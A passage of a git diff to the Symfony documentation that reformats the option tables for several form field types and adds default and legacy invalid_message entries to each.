+|                           | - `help_attr`_                                                       |
+|                           | - `help_html`_                                                       |
+|                           | - `inherit_data`_                                                    |
+|                           | - `label`_                                                           |
+|                           | - `label_attr`_                                                      |
+|                           | - `label_format`_                                                    |
+|                           | - `mapped`_                                                          |
+|                           | - `required`_                                                        |
+|                           | - `row_attr`_                                                        |
+|                           | - `translation_domain`_                                              |
+|                           | - `label_translation_parameters`_                                    |
+|                           | - `attr_translation_parameters`_                                     |
+|                           | - `help_translation_parameters`_                                     |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | The selected choice is invalid.                                      |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -272,6 +277,8 @@ the parent field (the form in most cases).
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index f3f0c8f4562..a30cc250f6f 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -11,37 +11,43 @@ forms, which is useful when creating forms that expose one-to-many
 relationships (e.g. a product from where you can manage many related product
 photos).
 
-+-------------+-----------------------------------------------------------------------------+
-| Rendered as | depends on the `entry_type`_ option                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Options     | - `allow_add`_                                                              |
-|             | - `allow_delete`_                                                           |
-|             | - `delete_empty`_                                                           |
-|             | - `entry_options`_                                                          |
-|             | - `entry_type`_                                                             |
-|             | - `prototype`_                                                              |
-|             | - `prototype_data`_                                                         |
-|             | - `prototype_name`_                                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                   |
-| options     | - `by_reference`_                                                           |
-|             | - `empty_data`_                                                             |
-|             | - `error_bubbling`_                                                         |
-|             | - `error_mapping`_                                                          |
-|             | - `help`_                                                                   |
-|             | - `help_attr`_                                                              |
-|             | - `help_html`_                                                              |
-|             | - `label`_                                                                  |
-|             | - `label_attr`_                                                             |
-|             | - `label_format`_                                                           |
-|             | - `mapped`_                                                                 |
-|             | - `required`_                                                               |
-|             | - `row_attr`_                                                               |
-+-------------+-----------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                               |
-+-------------+-----------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType`    |
-+-------------+-----------------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------------+
+| Rendered as               | depends on the `entry_type`_ option                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Options                   | - `allow_add`_                                                           |
+|                           | - `allow_delete`_                                                        |
+|                           | - `delete_empty`_                                                        |
+|                           | - `entry_options`_                                                       |
+|                           | - `entry_type`_                                                          |
+|                           | - `prototype`_                                                           |
+|                           | - `prototype_data`_                                                      |
+|                           | - `prototype_name`_                                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                     |
++---------------------------+--------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                |
+|                           | - `by_reference`_                                                        |
+|                           | - `empty_data`_                                                          |
+|                           | - `error_bubbling`_                                                      |
+|                           | - `error_mapping`_                                                       |
+|                           | - `help`_                                                                |
+|                           | - `help_attr`_                                                           |
+|                           | - `help_html`_                                                           |
+|                           | - `label`_                                                               |
+|                           | - `label_attr`_                                                          |
+|                           | - `label_format`_                                                        |
+|                           | - `mapped`_                                                              |
+|                           | - `required`_                                                            |
+|                           | - `row_attr`_                                                            |
++---------------------------+--------------------------------------------------------------------------+
+| Default `invalid_message` | The collection is invalid.                                               |
++---------------------------+--------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                            |
++---------------------------+--------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` |
++---------------------------+--------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -396,6 +402,11 @@ If you have several collections in your form, or worse, nested collections
 you may want to change the placeholder so that unrelated placeholders are
 not replaced with the same value.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 5dfd61915ce..f3d97c6cd1b 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -14,32 +14,38 @@ The value of the underlying ``<input type="color">`` field is always a
 That's why it's not possible to select semi-transparent colors with this
 element.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``color`` field (a text box)                              |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `html5`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``color`` field (a text box)                              |
++---------------------------+---------------------------------------------------------------------+
+| Options                   | - `html5`_                                                          |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `label_format`_                                                   |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
+|                           | - `trim`_                                                           |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid color.                                        |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -59,6 +65,11 @@ When this option is set to ``true``, the form type checks that its value matches
 the `HTML5 color format`_ (``/^#[0-9a-f]{6}$/i``). If it doesn't match it,
 you'll see the following error message: *"This value is not a valid HTML5 color"*.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index f4082e498e8..a2b1527764e 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -18,45 +18,50 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses all of the countries of the world. You *can* specify
 the option manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)          |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                           |
-|             | - `choice_translation_locale`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                          |
-| options     | - `choice_translation_domain`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`            |
-| options     |                                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `expanded`_                                                         |
-|             | - `multiple`_                                                         |
-|             | - `placeholder`_                                                      |
-|             | - `preferred_choices`_                                                |
-|             | - `trim`_                                                             |
-|             |                                                                       |
-|             | from the :doc:`FormType </reference/forms/types/form>`                |
-|             |                                                                       |
-|             | - `attr`_                                                             |
-|             | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                     |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)          |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | - `alpha3`_                                                           |
+|                           | - `choice_translation_locale`_                                        |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                          |
+|                           | - `choice_translation_domain`_                                        |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`            |
+|                           |                                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `expanded`_                                                         |
+|                           | - `multiple`_                                                         |
+|                           | - `placeholder`_                                                      |
+|                           | - `preferred_choices`_                                                |
+|                           | - `trim`_                                                             |
+|                           |                                                                       |
+|                           | from the :doc:`FormType </reference/forms/types/form>`                |
+|                           |                                                                       |
+|                           | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid country.                                        |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                     |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -92,6 +97,8 @@ The locale is used to translate the countries names.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 77da0481942..e8628aa3edf 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -11,43 +11,48 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of currencies. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>` type            |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `choice_translation_locale`_                                         |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                           |
+|                           | - `choice_translation_domain`_                                         |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
+|                           |                                                                        |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `expanded`_                                                          |
+|                           | - `multiple`_                                                          |
+|                           | - `placeholder`_                                                       |
+|                           | - `preferred_choices`_                                                 |
+|                           | - `trim`_                                                              |
+|                           |                                                                        |
+|                           | from the :doc:`FormType </reference/forms/types/form>` type            |
+|                           |                                                                        |
+|                           | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid currency.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -73,6 +78,8 @@ The choices option defaults to all currencies.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 582b5bef6ff..fa696007803 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -10,46 +10,50 @@ different HTML elements.
 This field can be rendered in a variety of different ways via the `widget`_ option
 and can understand a number of different input formats via the `input`_ option.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box or three select fields                                      |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `choice_translation_domain`_                                              |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | single text box or three select fields                                      |
++---------------------------+-----------------------------------------------------------------------------+
+| Options                   | - `days`_                                                                   |
+|                           | - `placeholder`_                                                            |
+|                           | - `format`_                                                                 |
+|                           | - `html5`_                                                                  |
+|                           | - `input`_                                                                  |
+|                           | - `input_format`_                                                           |
+|                           | - `model_timezone`_                                                         |
+|                           | - `months`_                                                                 |
+|                           | - `view_timezone`_                                                          |
+|                           | - `widget`_                                                                 |
+|                           | - `years`_                                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Overridden options        | - `by_reference`_                                                           |
+|                           | - `choice_translation_domain`_                                              |
+|                           | - `compound`_                                                               |
+|                           | - `data_class`_                                                             |
+|                           | - `error_bubbling`_                                                         |
+|                           | - `invalid_message`_                                                        |
++---------------------------+-----------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                   |
+|                           | - `data`_                                                                   |
+|                           | - `disabled`_                                                               |
+|                           | - `error_mapping`_                                                          |
+|                           | - `help`_                                                                   |
+|                           | - `help_attr`_                                                              |
+|                           | - `help_html`_                                                              |
+|                           | - `inherit_data`_                                                           |
+|                           | - `invalid_message_parameters`_                                             |
+|                           | - `mapped`_                                                                 |
+|                           | - `row_attr`_                                                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid date.                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -210,6 +214,8 @@ The ``DateTime`` classes are treated as immutable objects.
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -231,8 +237,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 84986f93c87..69147d95bee 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -12,47 +12,52 @@ The field can be rendered in a variety of different ways (see `widget`_) and can
 give you a ``DateInterval`` object, an `ISO 8601`_ duration string (e.g. ``P1DT12H``)
 or an array (see `input`_).
 
-+----------------------+----------------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateInterval``, string or array (see the ``input`` option)              |
-+----------------------+----------------------------------------------------------------------------------+
-| Rendered as          | single text box, multiple text boxes or select fields - see the `widget`_ option |
-+----------------------+----------------------------------------------------------------------------------+
-| Options              | - `days`_                                                                        |
-|                      | - `hours`_                                                                       |
-|                      | - `minutes`_                                                                     |
-|                      | - `months`_                                                                      |
-|                      | - `seconds`_                                                                     |
-|                      | - `weeks`_                                                                       |
-|                      | - `input`_                                                                       |
-|                      | - `labels`_                                                                      |
-|                      | - `placeholder`_                                                                 |
-|                      | - `widget`_                                                                      |
-|                      | - `with_days`_                                                                   |
-|                      | - `with_hours`_                                                                  |
-|                      | - `with_invert`_                                                                 |
-|                      | - `with_minutes`_                                                                |
-|                      | - `with_months`_                                                                 |
-|                      | - `with_seconds`_                                                                |
-|                      | - `with_weeks`_                                                                  |
-|                      | - `with_years`_                                                                  |
-|                      | - `years`_                                                                       |
-+----------------------+----------------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                        |
-| options              | - `data`_                                                                        |
-|                      | - `disabled`_                                                                    |
-|                      | - `help`_                                                                        |
-|                      | - `help_attr`_                                                                   |
-|                      | - `help_html`_                                                                   |
-|                      | - `inherit_data`_                                                                |
-|                      | - `invalid_message`_                                                             |
-|                      | - `invalid_message_parameters`_                                                  |
-|                      | - `mapped`_                                                                      |
-|                      | - `row_attr`_                                                                    |
-+----------------------+----------------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                                    |
-+----------------------+----------------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
-+----------------------+----------------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateInterval``, string or array (see the ``input`` option)              |
++---------------------------+----------------------------------------------------------------------------------+
+| Rendered as               | single text box, multiple text boxes or select fields - see the `widget`_ option |
++---------------------------+----------------------------------------------------------------------------------+
+| Options                   | - `days`_                                                                        |
+|                           | - `hours`_                                                                       |
+|                           | - `minutes`_                                                                     |
+|                           | - `months`_                                                                      |
+|                           | - `seconds`_                                                                     |
+|                           | - `weeks`_                                                                       |
+|                           | - `input`_                                                                       |
+|                           | - `labels`_                                                                      |
+|                           | - `placeholder`_                                                                 |
+|                           | - `widget`_                                                                      |
+|                           | - `with_days`_                                                                   |
+|                           | - `with_hours`_                                                                  |
+|                           | - `with_invert`_                                                                 |
+|                           | - `with_minutes`_                                                                |
+|                           | - `with_months`_                                                                 |
+|                           | - `with_seconds`_                                                                |
+|                           | - `with_weeks`_                                                                  |
+|                           | - `with_years`_                                                                  |
+|                           | - `years`_                                                                       |
++---------------------------+----------------------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                             |
++---------------------------+----------------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                        |
+|                           | - `data`_                                                                        |
+|                           | - `disabled`_                                                                    |
+|                           | - `help`_                                                                        |
+|                           | - `help_attr`_                                                                   |
+|                           | - `help_html`_                                                                   |
+|                           | - `inherit_data`_                                                                |
+|                           | - `invalid_message_parameters`_                                                  |
+|                           | - `mapped`_                                                                      |
+|                           | - `row_attr`_                                                                    |
++---------------------------+----------------------------------------------------------------------------------+
+| Default `invalid_message` | Please choose a valid date interval.                                             |
++---------------------------+----------------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                              |
++---------------------------+----------------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                                    |
++---------------------------+----------------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
++---------------------------+----------------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -333,6 +338,11 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 100 (both inclusive)
     'years' => array_combine(range(1, 100), range(1, 100)),
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -352,8 +362,6 @@ These options inherit from the :doc:`form </reference/forms/types/form>` type:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index ad56b6e2d52..ca61be3e538 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -10,55 +10,59 @@ date and time (e.g. ``1984-06-05 12:15:30``).
 Can be rendered as a text input or select tags. The underlying format of
 the data can be a ``DateTime`` object, a string, a timestamp or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box or three select fields                                      |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `date_format`_                                                            |
-|                      | - `date_label`_                                                             |
-|                      | - `date_widget`_                                                            |
-|                      | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `seconds`_                                                                |
-|                      | - `time_label`_                                                             |
-|                      | - `time_widget`_                                                            |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | single text box or three select fields                                      |
++---------------------------+-----------------------------------------------------------------------------+
+| Options                   | - `choice_translation_domain`_                                              |
+|                           | - `date_format`_                                                            |
+|                           | - `date_label`_                                                             |
+|                           | - `date_widget`_                                                            |
+|                           | - `days`_                                                                   |
+|                           | - `placeholder`_                                                            |
+|                           | - `format`_                                                                 |
+|                           | - `hours`_                                                                  |
+|                           | - `html5`_                                                                  |
+|                           | - `input`_                                                                  |
+|                           | - `input_format`_                                                           |
+|                           | - `minutes`_                                                                |
+|                           | - `model_timezone`_                                                         |
+|                           | - `months`_                                                                 |
+|                           | - `seconds`_                                                                |
+|                           | - `time_label`_                                                             |
+|                           | - `time_widget`_                                                            |
+|                           | - `view_timezone`_                                                          |
+|                           | - `widget`_                                                                 |
+|                           | - `with_minutes`_                                                           |
+|                           | - `with_seconds`_                                                           |
+|                           | - `years`_                                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Overridden options        | - `by_reference`_                                                           |
+|                           | - `compound`_                                                               |
+|                           | - `data_class`_                                                             |
+|                           | - `error_bubbling`_                                                         |
+|                           | - `invalid_message`_                                                        |
++---------------------------+-----------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                   |
+|                           | - `data`_                                                                   |
+|                           | - `disabled`_                                                               |
+|                           | - `help`_                                                                   |
+|                           | - `help_attr`_                                                              |
+|                           | - `help_html`_                                                              |
+|                           | - `inherit_data`_                                                           |
+|                           | - `invalid_message_parameters`_                                             |
+|                           | - `mapped`_                                                                 |
+|                           | - `row_attr`_                                                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid date and time.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
